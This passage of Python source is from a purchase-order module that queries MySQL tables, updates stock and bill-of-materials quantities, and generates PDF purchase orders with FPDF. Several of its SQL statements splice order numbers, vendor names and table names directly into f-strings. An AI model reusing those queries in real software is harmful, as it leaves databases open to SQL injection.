AuthLevel(Login.AUTHLVL, 6) == False:\r\n                messagebox.showerror(\"Insufficient Clearance\",\r\n                                     \"You are NOT authorized to generate Purchase Order\",\r\n                                     parent=RepWin)\r\n            else:\r\n                curPur = connPur.cursor() \r\n                curPur.execute(f\"SELECT * FROM PUR_ORDER_LIST WHERE PurOrderNum = '{PurOrderNumRef}'\")\r\n                PurInfo = curPur.fetchall()\r\n                curPur.close()\r\n                \r\n                if PurInfo[0][8] == 0:\r\n                    messagebox.showerror(\"Unable to Generate\",\r\n                                         \"This order has YET to be Approved\",\r\n                                         parent=RepWin)\r\n                elif PurInfo[0][8] == 2:\r\n                    messagebox.showerror(\"Unable to Generate\",\r\n                                         \"This order has been REJECTED\",\r\n                                         parent=RepWin)\r\n                \r\n                else:\r\n                    if PurInfo[0][9] == 1:\r\n                        respGenOrder = messagebox.askokcancel(\"Already Generated Before\",\r\n                                                              \"Generate this order AGAIN?\",\r\n                                                              parent=RepWin)\r\n                        if respGenOrder == True:\r\n                            genPurOrderCom()\r\n                        else:\r\n                            pass\r\n                    else:\r\n                        genPurOrderCom()\r\n\r\n        def genPurOrderCom():\r\n            curCom = connCom.cursor()\r\n            curCom.execute(\"SELECT * FROM COMPANY_MWA\")\r\n            companyInfo = curCom.fetchall()\r\n            \r\n            curPur = connPur.cursor() \r\n            curPur.execute(f\"SELECT * FROM PUR_ORDER_LIST WHERE PurOrderNum = '{PurOrderNumRef}'\")\r\n            purOrderInfo = curPur.fetchall()\r\n            \r\n            curPur.execute(f\"SELECT * FROM `{PurOrderNumRef}`\")\r\n            purOrderUnit = curPur.fetchall()\r\n            \r\n            curVend = connVend.cursor()\r\n            curVend.execute(f\"SELECT * FROM VENDOR_LIST WHERE VENDOR_NAME = '{VendorRef}'\")\r\n            vendorInfo = curVend.fetchall()\r\n            \r\n            curCom.close()\r\n            curPur.close()\r\n            curVend.close()\r\n            \r\n            fullPartLst = []\r\n            ProLst = []\r\n            MachAssemLst = []\r\n            PartLst = []\r\n            DescLst = []\r\n            QtyLst = []\r\n            \r\n            for val in purOrderUnit:\r\n                fullPartLst.append(val[1])\r\n                ProLst.append(val[1][0:6])\r\n                MachAssemLst.append(f\"{val[1][7:9]}_{val[1][10:13]}\")\r\n                PartLst.append(val[1][14:])\r\n                DescLst.append(val[2])\r\n                QtyLst.append(val[5])\r\n            \r\n            connStock = mysql.connector.connect(host = logininfo[0],\r\n                                                user = logininfo[1], \r\n                                                password =logininfo[2],\r\n                                                database= \"STOCK_MASTER\")\r\n            \r\n            connData = mysql.connector.connect(host = logininfo[0],\r\n                                                user = logininfo[1], \r\n                                                password =logininfo[2])\r\n            curData = connData.cursor()\r\n            for i in range(len(fullPartLst)):\r\n                curData.execute(f\"SELECT * FROM `{ProLst[i]}`.`{MachAssemLst[i]}` WHERE PartNum = {PartLst[i]}\")\r\n                dataFetch = curData.fetchall()\r\n                \r\n                oidVal = dataFetch[0][0]\r\n                BomREQ = int(dataFetch[0][11])\r\n                BomPCH = int(dataFetch[0][12])\r\n                BomBAL = int(dataFetch[0][13])\r\n                BomRCV = int(dataFetch[0][14])\r\n                                \r\n                PurchaseQty = int(QtyLst[i]) + BomPCH\r\n                BalanceQty = BomBAL - int(QtyLst[i])\r\n                OutstandingQty = PurchaseQty - BomRCV\r\n                \r\n                if BalanceQty >= 0:\r\n                    sqlUpdateBom = f\"\"\"UPDATE `{ProLst[i]}`.`{MachAssemLst[i]}` SET\r\n                    PCH = %s,\r\n                    BAL = %s,\r\n                    OS = %s\r\n\r\n                    WHERE oid = %s\r\n                    \"\"\"\r\n\r\n                    PCHInput = (PurchaseQty, BalanceQty, OutstandingQty, oidVal)\r\n\r\n                    curData.execute(sqlUpdateBom, PCHInput)\r\n                    connData.commit()\r\n                \r\n                elif BalanceQty < 0:\r\n                    sqlUpdateBom = f\"\"\"UPDATE `{ProLst[i]}`.`{MachAssemLst[i]}` SET\r\n                    PCH = %s,\r\n                    BAL = %s,\r\n                    OS = %s\r\n\r\n                    WHERE oid = %s\r\n                    \"\"\"\r\n                    \r\n                    PCHMaxQty = BomREQ\r\n                    OSMaxQty = PCHMaxQty - BomRCV\r\n\r\n                    PCHInput = (BomREQ, 0, OSMaxQty, oidVal)\r\n\r\n                    curData.execute(sqlUpdateBom, PCHInput)\r\n                    connData.commit()\r\n                    \r\n                    StockPartNum = fullPartLst[i]\r\n                    StockDesc = DescLst[i]\r\n                    StockQty = abs(BalanceQty)\r\n                    StockOrderNum = purOrderInfo[0][1]\r\n                    \r\n                    timeNow = datetime.now()\r\n                    formatDate = timeNow.strftime(\"%Y-%m-%d\")\r\n                    \r\n                    createStock = f\"\"\"INSERT INTO `STOCK_LIST` (\r\n                    PartNum, DescStock, QtyStock, PurOrderNum, PurDate, RcvDate, Remark)\r\n                    \r\n                    VALUES (%s, %s, %s, %s, %s, %s, %s)\"\"\"\r\n                    \r\n                    inputs = (StockPartNum, StockDesc, StockQty,\r\n                              StockOrderNum, formatDate, None, \"\")\r\n\r\n                    curStock = connStock.cursor()\r\n                    curStock.execute(createStock, inputs)\r\n                    connStock.commit()\r\n                    curStock.close()\r\n\r\n                else:\r\n                    messagebox.showerror(\"Error\",\r\n                                          \"Please Check Format\",\r\n                                          parent=RepWin)\r\n            curData.close()\r\n            checkIssueStat()\r\n\r\n            def totalCostCalc(Qty, OneCost):\r\n                QtyNum = float(Qty) if Qty else 0\r\n                OneCostNum = float(OneCost) if OneCost else 0\r\n                total = QtyNum * OneCostNum\r\n                totalDigit = str(\"{:.2f}\".format(total))\r\n                return totalDigit\r\n            \r\n            unitDataLst = [[\"\", \"Part No.\", \"Description\", \"Quantity\", \r\n                            \"Tax\", \"Unit Cost\", \"Total Cost\"]]\r\n            for i in range(0, len(purOrderUnit)):\r\n                unitDataLst.append([f\"{str(i+1)}.\", purOrderUnit[i][1], \r\n                                    f\"{purOrderUnit[i][2]}, {purOrderUnit[i][4]}\", \r\n                                    purOrderUnit[i][5], f\"{purOrderUnit[i][6]}%\", \r\n                                    str(\"{:.2f}\".format(float(purOrderUnit[i][11]) if purOrderUnit[i][11] else 0)) + \" \" + str(TransCcyUsed), \r\n                                    str(totalCostCalc(purOrderUnit[i][5], purOrderUnit[i][11])) + \" \" + str(TransCcyUsed)])\r\n            \r\n            class PurOrder(FPDF):\r\n                def footer(self):\r\n                    self.set_y(-15) # 15 mm above from bottom\r\n                    self.set_font(\"Arial\", \"I\", 10) # 10 Font Size\r\n                    self.cell(0, 10, f\"Page {self.page_no()} / {{nb}}\", align=\"C\")\r\n                \r\n                def companyDetail(self):\r\n                    self.image(\"MWA.jpg\", x=98, y=8, h=30)\r\n                    self.ln(35)\r\n                    \r\n                    self.set_font(\"Arial\", \"\", 18)\r\n                    self.cell(w=90, h=9, txt = \"PURCHASE ORDER\", align=\"L\")\r\n                    self.set_font(\"Arial\", \"B\", 8)\r\n                    self.cell(w=50, h=3, txt = \"Purchase Order Date\", align=\"L\")\r\n                    self.set_font(\"Arial\", \"\", 8)\r\n                    self.cell(w=50, h=3, txt = f\"{companyInfo[0][1]}\", align=\"L\", ln=True)\r\n                    \r\n                    self.cell(w=90, h=3, txt = \"\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = f\"{purOrderInfo[0][3]}\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = f\"{companyInfo[0][2]}\", align=\"L\", ln=True)\r\n                    \r\n                    self.cell(w=90, h=3, txt = \"\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = \"\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = f\"{companyInfo[0][3]}\", align=\"L\", ln=True)\r\n                    \r\n                    self.cell(w=90, h=3, txt = f\"{vendorInfo[0][3]}\", align=\"L\")\r\n                    self.set_font(\"Arial\", \"B\", 8)\r\n                    self.cell(w=50, h=3, txt = \"Purchase Order Number\", align=\"L\")\r\n                    self.set_font(\"Arial\", \"\", 8)\r\n                    self.cell(w=50, h=3, txt = f\"{companyInfo[0][4]}\", align=\"L\", ln=True)\r\n                    \r\n                    self.cell(w=90, h=3, txt = f\"{vendorInfo[0][8]}\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = f\"{purOrderInfo[0][1]}\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = f\"{companyInfo[0][5]}\", align=\"L\", ln=True)\r\n                    \r\n                    self.cell(w=90, h=3, txt = f\"{vendorInfo[0][9]}\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = \"\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = f\"{companyInfo[0][6]}\", align=\"L\", ln=True)\r\n                    \r\n                    if vendorInfo[0][4] == \"Singapore\":\r\n                        self.cell(w=90, h=3, txt = f\"Singapore {vendorInfo[0][7]}\", align=\"L\")\r\n                    else:\r\n                        self.cell(w=90, h=3, txt = f\"{vendorInfo[0][7]} {vendorInfo[0][6]}, {vendorInfo[0][5]}, {vendorInfo[0][4]} \", align=\"L\")\r\n                    self.set_font(\"Arial\", \"B\", 8)\r\n                    self.cell(w=50, h=3, txt = \"Payment Terms\", align=\"L\")\r\n                    self.set_font(\"Arial\", \"\", 8)\r\n                    self.cell(w=50, h=3, txt = f\"Co. Reg No.: {companyInfo[0][7]}\", align=\"L\", ln=True)\r\n                    \r\n                    if vendorInfo[0][14] == \"\":\r\n                        self.cell(w=90, h=3, txt = f\"Attn: {vendorInfo[0][11]}\", align=\"L\")\r\n                    else:\r\n                        self.cell(w=90, h=3, txt = f\"Attn: {vendorInfo[0][11]} / {vendorInfo[0][14]}\", align=\"L\")\r\n                    \r\n                    self.cell(w=50, h=3, txt = f\"{purOrderInfo[0][2]}\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = f\"Buyer: {companyInfo[0][8]}\", align=\"L\", ln=True)\r\n                    \r\n                    if vendorInfo[0][12] == \"\" and vendorInfo[0][15] == \"\":\r\n                        self.cell(w=90, h=3, txt = \"\", align=\"L\")\r\n                    elif vendorInfo[0][12] != \"\" and vendorInfo[0][15] == \"\":\r\n                        self.cell(w=90, h=3, txt = f\"Tel: {vendorInfo[0][12]}\", align=\"L\")\r\n                    else:\r\n                        self.cell(w=90, h=3, txt = f\"Tel: {vendorInfo[0][12]} / {vendorInfo[0][15]}\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = \"\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = f\"Contact Number: {companyInfo[0][9]}\", align=\"L\", ln=True)\r\n                    \r\n                    if vendorInfo[0][13] == \"\" and vendorInfo[0][16] == \"\":\r\n                        self.cell(w=90, h=3, txt = \"\", align=\"L\")\r\n                    elif vendorInfo[0][13] != \"\" and vendorInfo[0][16] == \"\":\r\n                        self.cell(w=90, h=3, txt = f\"Email: {vendorInfo[0][13]}\", align=\"L\")\r\n                    else:\r\n                        self.cell(w=90, h=3, txt = f\"Email: {vendorInfo[0][13]} / {vendorInfo[0][16]}\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = \"\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = f\"Email: {companyInfo[0][10]}\", align=\"L\", ln=True)\r\n                    \r\n                    self.ln(10)\r\n                \r\n                def columnWidth(self, lstRef): # Get the Maximum Width of Each Column  \r\n                    pageWidthMargin = self.w - 20\r\n                    fontSize = 10\r\n                    while True:\r\n                        self.set_font(\"Arial\", \"\", fontSize)\r\n                        colLenLst = []\r\n                        for i in range(len(lstRef[0])): # Select Rows 1 2 3\r\n                            strLenLst = []\r\n                            for j in range(len(lstRef)): # Select Columns 1 2 3\r\n                                val = lstRef[j][i]\r\n                                strLen = self.get_string_width(val) + 5\r\n                                strLenLst.append(strLen)\r\n                            colLenLst.append(max(strLenLst))\r\n                        if sum(colLenLst) <= pageWidthMargin:\r\n                            break\r\n                        else:\r\n                            fontSize = fontSize - 0.5\r\n                    return colLenLst\r\n                \r\n                def printHeading(self, lst):\r\n                    self.set_fill_color(200, 220, 255)\r\n                    for i in range(len(lst[0])):\r\n                        strWidth = self.columnWidth(lst)[i]\r\n                        self.cell(strWidth, 5, lst[0][i], border=True, ln=False, fill=True, align=\"C\")\r\n                \r\n                def printContent(self, lst):\r\n                    for i in range(1, len(lst)):\r\n                        self.ln()\r\n                        for j in range(len(lst[0])):\r\n                            strWidth = self.columnWidth(lst)[j]\r\n                            self.cell(strWidth, 5, lst[i][j], border=True)\r\n                    self.ln(10)\r\n                    \r\n                def printTotal(self, lst):\r\n                    costLst = []\r\n                    GSTLst = []\r\n                    for i in range(1, len(lst)):\r\n                        val = float(re.sub(\"[^0-9^.]\", \"\", lst[i][6]))\r\n                        GSTVal = float(str(lst[i][4]).strip(\"%\"))/100\r\n                        GSTCost = val * GSTVal\r\n                        \r\n                        costLst.append(val)\r\n                        GSTLst.append(GSTCost)\r\n                        \r\n                    subTotal = sum(costLst)\r\n                    GSTTotal = sum(GSTLst)\r\n                    totalSGD = subTotal + GSTTotal\r\n                    \r\n                    subTotalStr = str(\"{:.2f}\".format(subTotal)) + \" \" + str(TransCcyUsed)\r\n                    GSTStr = str(\"{:.2f}\".format(GSTTotal)) + \" \" + str(TransCcyUsed)\r\n                    totalStr = str(\"{:.2f}\".format(totalSGD)) + \" \" + str(TransCcyUsed)\r\n                    \r\n                    self.set_font(\"Arial\", \"\", 10)\r\n                    self.cell(w=155, h=5, txt=\"Subtotal\", align=\"R\")\r\n                    self.cell(w=30, h=5, txt=f\"{subTotalStr}\", align=\"R\", ln=True)\r\n                    self.cell(w=155, h=5, txt=\"Tax\", align=\"R\")\r\n                    self.cell(w=30, h=5, txt=f\"{GSTStr}\", align=\"R\", ln=True)\r\n                    self.cell(w=155, h=5, txt=\"Total\", align=\"R\")\r\n                    self.cell(w=30, h=5, txt=f\"{totalStr}\", align=\"R\", ln=True)\r\n                    \r\n                def printNotes(self):\r\n                    self.set_font(\"Arial\", \"\", 8)\r\n                    self.cell(w=0, h=5, txt=\"NOTES:\", ln=True, align=\"L\")\r\n                    self.cell(w=0, h=5, txt=\"1. Please acknowledge receipt & delivery date on our P.O. by chop & sign and email it back to us immediately.\",\r\n                              ln=True, align=\"L\")\r\n                    self.cell(w=0, h=5, txt=\"2. Purchase Order Number must indicate on all the delivery orders and invoices\",\r\n                              ln=True, align=\"L\")\r\n                    \r\n                    self.ln(35)\r\n                    \r\n                    signCoorVal = self.get_y()-25\r\n                    \r\n                    currentDate = datetime.today()\r\n                    currentDateFormat = currentDate.strftime(\"%d-%b-%Y\")\r\n                    \r\n                    self.cell(w=150, h=5, txt=\"\", align=\"L\")\r\n                    self.cell(w=70, h=5, txt=currentDateFormat, ln=True, align=\"L\")\r\n                    \r\n                    self.cell(w=120, h=5, txt=\"________________________________________\", align=\"L\")\r\n                    self.cell(w=100, h=5, txt=\"______________________________\", ln=True, align=\"L\")\r\n                    self.cell(w=120, h=5, txt=\"SUPPLIER hereby confirm acceptance of this Order\", \r\n                              align=\"L\")\r\n                    self.cell(w=100, h=5, txt=\"MOTIONWELL Automation Pte. Ltd.\",\r\n                              ln=True, align=\"L\")\r\n                    \r\n                    self.image(\"Sign.png\", x=130, y=signCoorVal, h=40)\r\n                    self.cell(w=120, h=5, txt=\"Name, Designation, Signature and Date\", \r\n                              align=\"L\")\r\n                    self.cell(w=100, h=5, txt=\"Authorized Signature and Date\",\r\n                              ln=True, align=\"L\")\r\n        \r\n            PurOrderGen = PurOrder(\"P\", \"mm\", \"A4\")\r\n            PurOrderGen.set_auto_page_break(auto=True, margin=15)\r\n            PurOrderGen.add_page()\r\n            \r\n            PurOrderGen.companyDetail()\r\n            PurOrderGen.printHeading(unitDataLst)\r\n            PurOrderGen.printContent(unitDataLst)\r\n            \r\n            if PurOrderGen.get_y() >= 268:\r\n                PurOrderGen.add_page()\r\n            \r\n            PurOrderGen.printTotal(unitDataLst)\r\n            PurOrderGen.ln(20)\r\n            \r\n            if PurOrderGen.get_y() >= 213:\r\n                PurOrderGen.add_page()\r\n            \r\n            PurOrderGen.printNotes()\r\n            \r\n            PurOrderGen.output(f\"{PurOrderNumRef}.pdf\")\r\n\r\n            messagebox.showinfo(\"Create Successful\", \r\n                                f\"You Have Generated PO {PurOrderNumRef}\", parent=framePur) \r\n\r\n        \r\n\r\n        \r\n        def GeneratePDFOnly():\r\n            \r\n            curCom = connCom.cursor()\r\n            curCom.execute(\"SELECT * FROM COMPANY_MWA\")\r\n            companyInfo = curCom.fetchall()\r\n            \r\n            curPur = connPur.cursor() \r\n            curPur.execute(f\"SELECT * FROM PUR_ORDER_LIST WHERE PurOrderNum = '{PurOrderNumRef}'\")\r\n            purOrderInfo = curPur.fetchall()\r\n            \r\n            curPur.execute(f\"SELECT * FROM `{PurOrderNumRef}`\")\r\n            purOrderUnit = curPur.fetchall()\r\n            \r\n            curVend = connVend.cursor()\r\n            curVend.execute(f\"SELECT * FROM VENDOR_LIST WHERE VENDOR_NAME = '{VendorRef}'\")\r\n            vendorInfo = curVend.fetchall()\r\n            \r\n            curCom.close()\r\n            curPur.close()\r\n            curVend.close()\r\n            \r\n            def totalCostCalc(Qty, OneCost):\r\n                QtyNum = float(Qty) if Qty else 0\r\n                OneCostNum = float(OneCost) if OneCost else 0\r\n                total = QtyNum * OneCostNum\r\n                totalDigit = str(\"{:.2f}\".format(total))\r\n                return totalDigit\r\n            \r\n            unitDataLst = [[\"\", \"Part No.\", \"Description\", \"Quantity\", \r\n                            \"Tax\", \"Unit Cost\", \"Total Cost\"]]\r\n            for i in range(0, len(purOrderUnit)):\r\n                unitDataLst.append([f\"{str(i+1)}.\", purOrderUnit[i][1], \r\n                                    f\"{purOrderUnit[i][2]}, {purOrderUnit[i][4]}\", \r\n                                    purOrderUnit[i][5], f\"{purOrderUnit[i][6]}%\", \r\n                                    str(\"{:.2f}\".format(float(purOrderUnit[i][11]) if purOrderUnit[i][11] else 0)) + \" \" + str(TransCcyUsed), \r\n                                    str(totalCostCalc(purOrderUnit[i][5], purOrderUnit[i][11])) + \" \" + str(TransCcyUsed)])\r\n            \r\n            class PurOrder(FPDF):\r\n                def footer(self):\r\n                    self.set_y(-15) # 15 mm above from bottom\r\n                    self.set_font(\"Arial\", \"I\", 10) # 10 Font Size\r\n                    self.cell(0, 10, f\"Page {self.page_no()} / {{nb}}\", align=\"C\")\r\n                \r\n                def companyDetail(self):\r\n                    self.image(\"MWA.jpg\", x=98, y=8, h=30)\r\n                    self.ln(35)\r\n                    \r\n                    self.set_font(\"Arial\", \"\", 18)\r\n                    self.cell(w=90, h=9, txt = \"PURCHASE ORDER\", align=\"L\")\r\n                    self.set_font(\"Arial\", \"B\", 8)\r\n                    self.cell(w=50, h=3, txt = \"Purchase Order Date\", align=\"L\")\r\n                    self.set_font(\"Arial\", \"\", 8)\r\n                    self.cell(w=50, h=3, txt = f\"{companyInfo[0][1]}\", align=\"L\", ln=True)\r\n                    \r\n                    self.cell(w=90, h=3, txt = \"\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = f\"{purOrderInfo[0][3]}\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = f\"{companyInfo[0][2]}\", align=\"L\", ln=True)\r\n                    \r\n                    self.cell(w=90, h=3, txt = \"\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = \"\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = f\"{companyInfo[0][3]}\", align=\"L\", ln=True)\r\n                    \r\n                    self.cell(w=90, h=3, txt = f\"{vendorInfo[0][3]}\", align=\"L\")\r\n                    self.set_font(\"Arial\", \"B\", 8)\r\n                    self.cell(w=50, h=3, txt = \"Purchase Order Number\", align=\"L\")\r\n                    self.set_font(\"Arial\", \"\", 8)\r\n                    self.cell(w=50, h=3, txt = f\"{companyInfo[0][4]}\", align=\"L\", ln=True)\r\n                    \r\n                    self.cell(w=90, h=3, txt = f\"{vendorInfo[0][8]}\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = f\"{purOrderInfo[0][1]}\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = f\"{companyInfo[0][5]}\", align=\"L\", ln=True)\r\n                    \r\n                    self.cell(w=90, h=3, txt = f\"{vendorInfo[0][9]}\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = \"\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = f\"{companyInfo[0][6]}\", align=\"L\", ln=True)\r\n                    \r\n                    if vendorInfo[0][4] == \"Singapore\":\r\n                        self.cell(w=90, h=3, txt = f\"Singapore {vendorInfo[0][7]}\", align=\"L\")\r\n                    else:\r\n                        self.cell(w=90, h=3, txt = f\"{vendorInfo[0][7]} {vendorInfo[0][6]}, {vendorInfo[0][5]}, {vendorInfo[0][4]} \", align=\"L\")\r\n                    self.set_font(\"Arial\", \"B\", 8)\r\n                    self.cell(w=50, h=3, txt = \"Payment Terms\", align=\"L\")\r\n                    self.set_font(\"Arial\", \"\", 8)\r\n                    self.cell(w=50, h=3, txt = f\"Co. Reg No.: {companyInfo[0][7]}\", align=\"L\", ln=True)\r\n                    \r\n                    if vendorInfo[0][14] == \"\":\r\n                        self.cell(w=90, h=3, txt = f\"Attn: {vendorInfo[0][11]}\", align=\"L\")\r\n                    else:\r\n                        self.cell(w=90, h=3, txt = f\"Attn: {vendorInfo[0][11]} / {vendorInfo[0][14]}\", align=\"L\")\r\n                    \r\n                    self.cell(w=50, h=3, txt = f\"{purOrderInfo[0][2]}\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = f\"Buyer: {companyInfo[0][8]}\", align=\"L\", ln=True)\r\n                    \r\n                    if vendorInfo[0][12] == \"\" and vendorInfo[0][15] == \"\":\r\n                        self.cell(w=90, h=3, txt = \"\", align=\"L\")\r\n                    elif vendorInfo[0][12] != \"\" and vendorInfo[0][15] == \"\":\r\n                        self.cell(w=90, h=3, txt = f\"Tel: {vendorInfo[0][12]}\", align=\"L\")\r\n                    else:\r\n                        self.cell(w=90, h=3, txt = f\"Tel: {vendorInfo[0][12]} / {vendorInfo[0][15]}\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = \"\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = f\"Contact Number: {companyInfo[0][9]}\", align=\"L\", ln=True)\r\n                    \r\n                    if vendorInfo[0][13] == \"\" and vendorInfo[0][16] == \"\":\r\n                        self.cell(w=90, h=3, txt = \"\", align=\"L\")\r\n                    elif vendorInfo[0][13] != \"\" and vendorInfo[0][16] == \"\":\r\n                        self.cell(w=90, h=3, txt = f\"Email: {vendorInfo[0][13]}\", align=\"L\")\r\n                    else:\r\n                        self.cell(w=90, h=3, txt = f\"Email: {vendorInfo[0][13]} / {vendorInfo[0][16]}\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = \"\", align=\"L\")\r\n                    self.cell(w=50, h=3, txt = f\"Email: {companyInfo[0][10]}\", align=\"L\", ln=True)\r\n                    \r\n                    self.ln(10)\r\n                \r\n                def columnWidth(self, lstRef): # Get the Maximum Width of Each Column  \r\n                    pageWidthMargin = self.w - 20\r\n                    fontSize = 10\r\n                    while True:\r\n                        self.set_font(\"Arial\", \"\", fontSize)\r\n                        colLenLst = []\r\n                        for i in range(len(lstRef[0])): # Select Rows 1 2 3\r\n                            strLenLst = []\r\n                            for j in range(len(lstRef)): # Select Columns 1 2 3\r\n                                val = lstRef[j][i]\r\n                                strLen = self.get_string_width(val) + 5\r\n                                strLenLst.append(strLen)\r\n                            colLenLst.append(max(strLenLst))\r\n                        if sum(colLenLst) <= pageWidthMargin:\r\n                            break\r\n                        else:\r\n                            fontSize = fontSize - 0.5\r\n                    return colLenLst\r\n                \r\n                def printHeading(self, lst):\r\n                    self.set_fill_color(200, 220, 255)\r\n                    for i in range(len(lst[0])):\r\n                        strWidth = self.columnWidth(lst)[i]\r\n                        self.cell(strWidth, 5, lst[0][i], border=True, ln=False, fill=True, align=\"C\")\r\n                \r\n                def printContent(self, lst):\r\n                    for i in range(1, len(lst)):\r\n                        self.ln()\r\n                        for j in range(len(lst[0])):\r\n                            strWidth = self.columnWidth(lst)[j]\r\n                            self.cell(strWidth, 5, lst[i][j], border=True)\r\n                    self.ln(10)\r\n                    \r\n                def printTotal(self, lst):\r\n                    costLst = []\r\n                    GSTLst = []\r\n                    for i in range(1, len(lst)):\r\n                        val = float(re.sub(\"[^0-9^.]\", \"\", lst[i][6]))\r\n                        GSTVal = float(str(lst[i][4]).strip(\"%\"))/100\r\n                        GSTCost = val * GSTVal\r\n                        \r\n                        costLst.append(val)\r\n                        GSTLst.append(GSTCost)\r\n                        \r\n                    subTotal = sum(costLst)\r\n                    GSTTotal = sum(GSTLst)\r\n                    totalSGD = subTotal + GSTTotal\r\n                    \r\n                    subTotalStr = str(\"{:.2f}\".format(subTotal)) + \" \" + str(TransCcyUsed)\r\n                    GSTStr = str(\"{:.2f}\".format(GSTTotal)) + \" \" + str(TransCcyUsed)\r\n                    totalStr = str(\"{:.2f}\".format(totalSGD)) + \" \" + str(TransCcyUsed)\r\n                    \r\n                    self.set_font(\"Arial\", \"\", 10)\r\n                    self.cell(w=155, h=5, txt=\"Subtotal\", align=\"R\")\r\n                    self.cell(w=30, h=5, txt=f\"{subTotalStr}\", align=\"R\", ln=True)\r\n                    self.cell(w=155, h=5, txt=\"Tax\", align=\"R\")\r\n                    self.cell(w=30, h=5, txt=f\"{GSTStr}\", align=\"R\", ln=True)\r\n                    self.cell(w=155, h=5, txt=\"Total\", align=\"R\")\r\n                    self.cell(w=30, h=5, txt=f\"{totalStr}\", align=\"R\", ln=True)\r\n                    \r\n                def printNotes(self):\r\n                    self.set_font(\"Arial\", \"\", 8)\r\n                    self.cell(w=0, h=5, txt=\"NOTES:\", ln=True, align=\"L\")\r\n                    self.cell(w=0, h=5, txt=\"1. Please acknowledge receipt & delivery date on our P.O. by chop & sign and email it back to us immediately.\",\r\n                              ln=True, align=\"L\")\r\n                    self.cell(w=0, h=5, txt=\"2. Purchase Order Number must indicate on all the delivery orders and invoices\",\r\n                              ln=True, align=\"L\")\r\n                    \r\n                    self.ln(35)\r\n                    \r\n                    signCoorVal = self.get_y()-25\r\n                    \r\n                    currentDate = datetime.today()\r\n                    currentDateFormat = currentDate.strftime(\"%d-%b-%Y\")\r\n                    \r\n                    self.cell(w=150, h=5, txt=\"\", align=\"L\")\r\n                    self.cell(w=70, h=5, txt=currentDateFormat, ln=True, align=\"L\")\r\n                    \r\n                    self.cell(w=120, h=5, txt=\"________________________________________\", align=\"L\")\r\n                    self.cell(w=100, h=5, txt=\"______________________________\", ln=True, align=\"L\")\r\n                    self.cell(w=120, h=5, txt=\"SUPPLIER hereby confirm acceptance of this Order\", \r\n                              align=\"L\")\r\n                    self.cell(w=100, h=5, txt=\"MOTIONWELL Automation Pte. Ltd.\",\r\n                              ln=True, align=\"L\")\r\n                    \r\n                    self.image(\"Sign.png\", x=130, y=signCoorVal, h=40)\r\n                    self.cell(w=120, h=5, txt=\"Name, Designation, Signature and Date\", \r\n                              align=\"L\")\r\n                    self.cell(w=100, h=5, txt=\"Authorized Signature and Date\",\r\n                              ln=True, align=\"L\")\r\n        \r\n            PurOrderGen = PurOrder(\"P\", \"mm\", \"A4\")\r\n            PurOrderGen.set_auto_page_break(auto=True, margin=15)\r\n            PurOrderGen.add_page()\r\n            \r\n            PurOrderGen.companyDetail()\r\n            PurOrderGen.printHeading(unitDataLst)\r\n            PurOrderGen.printContent(unitDataLst)\r\n            \r\n            if PurOrderGen.get_y() >= 268:\r\n                PurOrderGen.add_page()\r\n            \r\n            PurOrderGen.printTotal(unitDataLst)\r\n            PurOrderGen.ln(20)\r\n            \r\n            if PurOrderGen.get_y() >= 213:\r\n                PurOrderGen.add_page()\r\n            \r\n            PurOrderGen.printNotes()\r\n            \r\n            PurOrderGen.output(f\"{PurOrderNumRef}.pdf\")\r\n\r\n            messagebox.showinfo(\"Create Successful\", \r\n                                f\"You Have Generated PO {PurOrderNumRef}\", parent=framePur) \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        #additional module\r\n        \r\n        def FetchAllEmployees(): # Fetch All Employees\r\n            Fetch = mysql.connector.connect(host = logininfo[0],\r\n                                           user = logininfo[1], \r\n                                           password =logininfo[2],\r\n                                            database= \"INDEX_EMP_MASTER\")\r\n            \r\n            FetchCursor = Fetch.cursor()\r\n            FetchCursor.execute(\"\"\"SELECT * FROM EMP_DATA\"\"\")\r\n            EmpVal = FetchCursor.fetchall()\r\n            Fetch.commit()\r\n            FetchCursor.close()\r\n            if EmpVal == []:\r\n                EmployeeNameList = [\"Please Add Employees\"]\r\n                return EmployeeNameList\r\n            else:\r\n                EmployeeNameList = []\r\n                for tup in EmpVal:\r\n                    EmployeeNameList.append(tup[2])\r\n                return EmployeeNameList[1:]\r\n            Fetch.commit()\r\n            FetchCursor.close()\r\n            \r\n            \r\n        def ExportToXero():\r\n            if AuthLevel(Login.AUTHLVL, 6) == False:\r\n                messagebox.showerror(\"Insufficient Clearance\",\r\n                                     \"You are NOT authorized to access XERO\",\r\n                                     parent=RepWin)\r\n            else:\r\n                curPur = connPur.cursor() \r\n                curPur.execute(f\"SELECT * FROM PUR_ORDER_LIST WHERE PurOrderNum = '{PurOrderNumRef}'\")\r\n                PurInfo = curPur.fetchall()\r\n                curPur.close()\r\n                \r\n                if PurInfo[0][8] == 0:\r\n                    messagebox.showerror(\"Unable to Export\",\r\n                                         \"This order has YET to be Approved\",\r\n                                         parent=RepWin)\r\n                elif PurInfo[0][8] == 2:\r\n                    messagebox.showerror(\"Unable to Export\",\r\n                                         \"This order has been REJECTED\",\r\n                                         parent=RepWin)\r\n                \r\n                else:\r\n                    ExportToXeroCom()\r\n        \r\n        def 